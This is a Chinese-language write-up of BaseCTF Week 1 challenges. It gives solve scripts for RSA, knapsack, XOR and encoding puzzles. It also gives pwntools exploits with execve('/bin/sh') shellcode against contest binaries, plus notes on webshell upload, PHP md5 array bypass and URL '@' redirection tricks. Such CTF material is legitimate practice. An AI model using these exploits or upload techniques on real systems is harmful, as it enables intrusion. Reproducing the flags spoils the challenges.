basectf_week1_wp

Posted on Edited on In Word count in article: 2.3k Reading time ≈ 8 mins.

misc部分基本都空着,如果也想要wp,请问https://maonie.top/
basectf官网:basectf.fun
这是week1的wp

Misc

[Week1] 你也喜欢圣物吗

[Week1] 根本进不去啊!

[Week1] 海上遇到了鲨鱼

[Week1] 正着看还是反着看呢？

[Week1] Base

[Week1] 人生苦短，我用Python

总之就是一个条件一个条件的掰flag
最后better个be部分没提示了,但是有hash爆破
BaseCTF{s1Mpl31s??Tt3r_Th4n_C0mPl3x}
我不记得是猜Be还是用下面的exp爆的,这题做的我昏过去了

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import hashlib  
import itertools  
  
# 给定的flag模板和哈希值  
flag_template = 'BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}'  
target_hash = 'e40075055f34f88993f47efb3429bd0e44a7f479'  
  
# 可能的字符集（这里假设是小写字母和数字）  
charset = 'QAZWSXEDCRFVTGBYHNUJMIKLOPabcdefghijklmnopqrstuvwxyz0123456789'  
  
# 遍历所有可能的两个字符组合  
for chars in itertools.product(charset, charset):  
    # 生成当前尝试的flag  
    current_flag = flag_template.replace('??', ''.join(chars))  
    # 计算当前flag的SHA-1哈希值  
    current_hash = hashlib.sha1(current_flag.encode()).hexdigest()  
    # 检查哈希值是否匹配  
    print(current_hash)
    if current_hash == target_hash:  
        print(f"找到匹配的flag: {current_flag}")  
        break  # 找到匹配项后退出循环  
else:  
    print("没有找到匹配的flag")

[Week1] 捂住X只耳

[Week1] 倒计时？海报！（包括公开版和公开前）

[Week1] 签到！DK 盾！

Crypto

[Week1] ez_rsa

题目给了n e c 还有not_phi=(p+2)(q+2)=p`q+2p+2q+4 要算出私钥d就要算出n的欧拉函数 n的欧拉函数是(p-1)*(q-1)=p*`q-p-q+1

n = p*q
所以这是初中生就能解决的因式问题

n的欧拉函数 = (not_phi-n-4)//2

得到欧拉函数就可以用模逆元算d

有c d n就有明文

exp如下

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import libnum
from sympy import mod_inverse  

e=65537
c=37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421

pplusq=(not_phi-n-4)//2
phi=n+1-pplusq
d = mod_inverse(e, phi)

m=pow(c,d,n)
print(libnum.n2s(m))

[Week1] babypack

加密脚本的过程大概是

  1. 把flag转换为2进制
  2. 创建一个随机数列表a,可以观察到每个随机数必然是后一个的两倍多一点
  3. 然后看flag的2进制中的每一位是不是1,如果是则将随机数列表里对应数加到变量c上

我们有的是a和c
那么就可以让a[i]和c比大小,判断第i+1位是不是1

总之exp如下

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# a = ···
# c = ···

for i in a:
    if c>i:
        c-=i
        print(1,end='')
    else:
        print(0,end='')
    
flag=0b10000100110000101110011011001010100001101010100010001100111101100110010011000110011010001100010001100000110001100110001001101010010110100110011011000100110010101100101001011010011010001100101001101000110000100101101011000100110010100110110011001010010110100110000011001100011001000110001011001010011010000110100011000100110010000110100011000110011100101111100
print(libnum.n2s(flag))

[Week1] babyrsa

rsa算法,但是没有p和q,直接取n
我猜n大概率是素数,所以直接算它的欧拉函数

exp如下

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import libnum
from sympy import mod_inverse  

n = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323
e = 65537
c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832
phi = n-1


d = mod_inverse(e, phi)
m = pow(c,d,n)
print(libnum.n2s(m))

[Week1] 十七倍

明文m转秘文c的算式为
m*17%256=c

那么 m=c*17关于256的模逆元%256
可以很容易的知道是241

exp如下

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cipher = [
         98, 113, 163, 181, 115, 148, 166,  43,   9,  95,
        165, 146,  79, 115, 146, 233, 112, 180,  48,  79,
         65, 181, 113, 146,  46, 249,  78, 183,  79, 133,
        180, 113, 146, 148, 163,  79,  78,  48, 231,  77
] 

for int in cipher:
    print(chr(int),end='')
    
print()
for i in range(len(cipher)):
    cipher[i] = (cipher[i]*241) % 256

for int in cipher:
    print(chr(int),end='')
  
# 或者，如果你不想使用预定义的逆元  
# x = solve_modular_equation(y, multiplier=17, modulus=256)  
# print(f"x = {x}")  # 同样应该输出 x = 148

[Week1] helloCrypto

很简单的一道
aes是对称加密,即然key给了就能直接解

exp如下

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from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random
import libnum

key = libnum.n2s(208797759953288399620324890930572736628)
my_aes=AES.new(key=key,mode=AES.MODE_ECB)
c = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'

decrypted_padded = my_aes.decrypt(c)  

print(decrypted_padded)

[Week1] 你会算md5吗

题目的加密过程,是将flag里的每一个字符都单独拎出来算一遍md5
那么只要把ascii表上的字符都算一遍做成字典,然后和密文撞就行了

exp如下

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import hashlib  
import string  
  
def build_md5_dict():  
    md5_dict = {}  
    characters = string.ascii_letters + string.digits + string.punctuation  
    for char in characters:  
        md5_hash = hashlib.md5(char.encode()).hexdigest()  
        md5_dict[md5_hash] = char  
    return md5_dict  
  
# 构建并打印MD5字典（注意：这里只打印了一部分以节省空间）  
md5_dict = build_md5_dict()  
  
# 注意：由于MD5的哈希冲突可能性极低（但不为0），我们假设在这个小字符集中没有冲突。


def recover_string_from_md5_list(md5_list, md5_dict):  
    recovered_string = ""  
    for md5_hash in md5_list:  
        if md5_hash in md5_dict:  
            recovered_string += md5_dict[md5_hash]  
        else:  
            # 如果MD5列表中包含未知的MD5值，可以选择跳过或抛出异常  
            recovered_string += "?"  
    return recovered_string  
  
# 示例MD5列表  
md5_list = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']

  
# 使用步骤1中生成的md5_dict来恢复字符串  
recovered_string = recover_string_from_md5_list(md5_list, md5_dict)  
print(recovered_string)

Web

[Week1] HTTP 是什么呀

满足题目所有要求
text
text

就能在网络包里发现flag
text

[Week1] 喵喵喵´•ﻌ•`

easy
alt text

[Week1] md5绕过欸

md5函数不能接受数组
会返回false
弱比较和强比较都能绕
alt text

[Week1] A Dark Room

我也玩过
flag在注释里
alt text

[Week1] upload

直接传马上去就行了
text
text
text

[Week1] Aura 酱的礼物

pen检查用伪协议data%3A%2F%2Ftext%2Fplain%3Bbase64%2CQXVyYQ%3D%3D过
challenge难点

  1. 需要以http://jasmineaura.github.io开头
  2. 需要让访问到的内容包含已经收到Kengwang的礼物啦

而这个网页指向的博客,在题目开始的时候,有一篇文章却是包含了已经收到Kengwang的礼物啦
但后来被删了,我没来得及蹭到
所以通过url的奇妙结构
http://jasmineaura.github.io@truthleader.github.io

@后面的才会被当作域名解析
然后用gift直接包含得不到flag,所以用任意文件读取的伪协议
alt text

base64解密
alt text

Pwn

[Week1] 签个到吧

nc challenge.basectf.fun 32200
cat /flag直接有

[Week1] echo

用echo打印flag

[Week1] Ret2text

可以看到shell的地址
alt text
而字符串大小为32
alt text

也就是32+8位数据填充实现栈溢出,然后用shell地址覆盖ret地址
exp如下

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from pwn import *
context.log_level='debug'
sh = remote('challenge.basectf.fun',31868)

payload=b'0'*(32+8)+p64(0x4011BB)
sh.sendline(payload)
sh.interactive()

[Week1] shellcode_level0

用pwntools喵喵工具生成shellcode,直接出
alt text
alt text
alt text

exp如下

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from pwn import *
context.log_level='debug'
sh = process('./shellcode_level0')
elf = ELF('./shellcode_level0')

payload=b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
sh.sendline(payload)
sh.interactive()

[Week1] 我把她丢了

栈溢出的残缺后门+nx保护
不太懂,上网照喵画虎弄出来的
alt text
alt text

Reverse

[Week1] You are good at IDA

ida拖进去看的三个函数,有flag的三部分,拼起来就好了
text
text
text

[Week1] UPX mini

用upx妙妙工具解壳,
然后就看到了base秘文
用cyberchef妙妙工具得flag
alt text
alt text
alt text

[Week1] ez_maze

迷宫题
找到了地图和长宽数据
text
text 

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x$$$$$$$$$$$$$$
&&&&&&$$$$$$$$$
&$&$$&$$&&&&&$$
&$&$$$&&$$$$&$$
&$$$&&&$$$$$&$$
&$$$&$&&$&$$$$$
&$$$&$&$$&&&$$$
&&&&&$&&&&$&$$$
$$$$$$&&&&&&$$$
$$$$$$&$$$$$$$$
$$$&&&&$$&&&$$$
$$$&&&&&&&$$$$$
$$$$$$$$$&$$&$$
$$$$$$$$$&$&$$$
$$$$$$&&&&&&&&y

&是路,$是墙,用最短路线走到y
alt text
然后转md5就是flag了

[Week1] Ez Xor

用ida看到如下内容
alt text
alt text
alt text

这段程序通过keystream函数生成了长度为28的key
然后通过encrypt函数对用户的输入进行xor运算
然后通过checkflag函数将加密后的用户输入和str比较

由于

  1. key是固定生成的
  2. xor的逆运算是再xor一遍
    所以能够用c将keystream 和 encrypt实现
    将str作为输入
    就能得到flag了

str如下
alt text

exp如下

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#include <stdio.h>

void decrypt(int *v14,int *str,int v17){
    for (int i=0;i<v17;i++){
        printf("%d", str[i]);
        str[i]=str[i]^v14[v17-i-1];
        printf("%d %d\n",str[i], v14[v17-i-1]);
        // printf("%d",str[i]);
    }
    return ;
}

void KeyStream(int *v4,int *v14,int a3){
    for (int i=0;i<a3;i++){
        v14[i]=i^v4[i%3];
        // printf("%c",v14[i]);
    }
    return;
}

int main(){
    int v4[3]={'X','o','r'};
    int v14[28]={88,110,112,91,107,119,94,104,122,81,101,121,84,98,124,87,127,99,74,124,102,77,121,101,64,118,104,67};
    // int v14[28];
    int v5[28];
    int str[28]={1,9,5,'%','&','-',0x0B,0x1D,'$','z','1',' ',0x1E,'I','=','g','M','P',8,'%','.','n',5,'4','\"','@',';','%'};
    KeyStream(&v4,v14,28);
    decrypt(v14,str,28);

    // for(int i=0;i<28;i++){

    //     printf("%d,", v14[i]);
    // }

    for(int i=0;i<28;i++){

        printf("%c", str[i]);
    }
    return 0;
}

[Week1] BasePlus

伪代码如下
alt text
alt text
alt text

其加密逻辑大致是

  1. 将用户的输入以3个字符为单位分组,不足的用0作为填充
  2. 加载每个分组,通过二进制运算得到下标,通过secret字典产生4个密文
  3. 最终的密文长度,就是分组数*4

程序提供了加密后的flag
我们可以通过flag的每4个字符,和secret字典比对得到每4个下标

这4个下标来自于明文的每3个字符

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// 一个字符有8bit
(unsigned __int8)v15 >> 2 // 第一个字符的前6个bit
(HIBYTE(v15) >> 4) | (16 * v15) & 0x30 // 第二个字符的前4bit和第一个字符的后2bit
(v16 >> 6) | (4 * HIBYTE(v15)) & 0x3C // 第三个字符的前2个bit和第二哥字符的后4bit
v16 & 0x3F // 第三个字符的后6bit

总之,我们只要把所有的bit拼回去,就能得到flag

exp如下

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flag = "lvfzBiZiOw7<lhF8dDOfEbmI]i@bdcZfEc^z>aD!"
secret="/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC"
flag = list(flag)
for i in range(len(flag)):
    flag[i] = ord(flag[i]) ^ 0xE

for i in range(0, len(flag),4):
    a1=secret.index(chr(flag[i])) # v15 前6位 为00111111
    a2=secret.index(chr(flag[i+1])) # v16的前4位和v15后2位为00001111和00110000
    a3=secret.index(chr(flag[i+2])) # v16的后4位和v17的前2位00111100 00000011
    a4=secret.index(chr(flag[i+3])) # v17的后6位00111111
    v15_1 = (a2 & 0b00110000)>>4
    v15_2 = a1<< 2
    v15 = v15_1 | v15_2
    v16_1 = (a2 & 0b00001111) << 4
    v16_2 = (a3&0b00111100) >> 2
    v16=v16_1|v16_2
    v17_1=(a3&0b00000011)<<6
    v17_2=(a4 & 0b00111111)
    v17=v17_1|v17_2

    print(chr(v15),end='')
    print(chr(v16),end= '')
    print(chr(v17),end= '')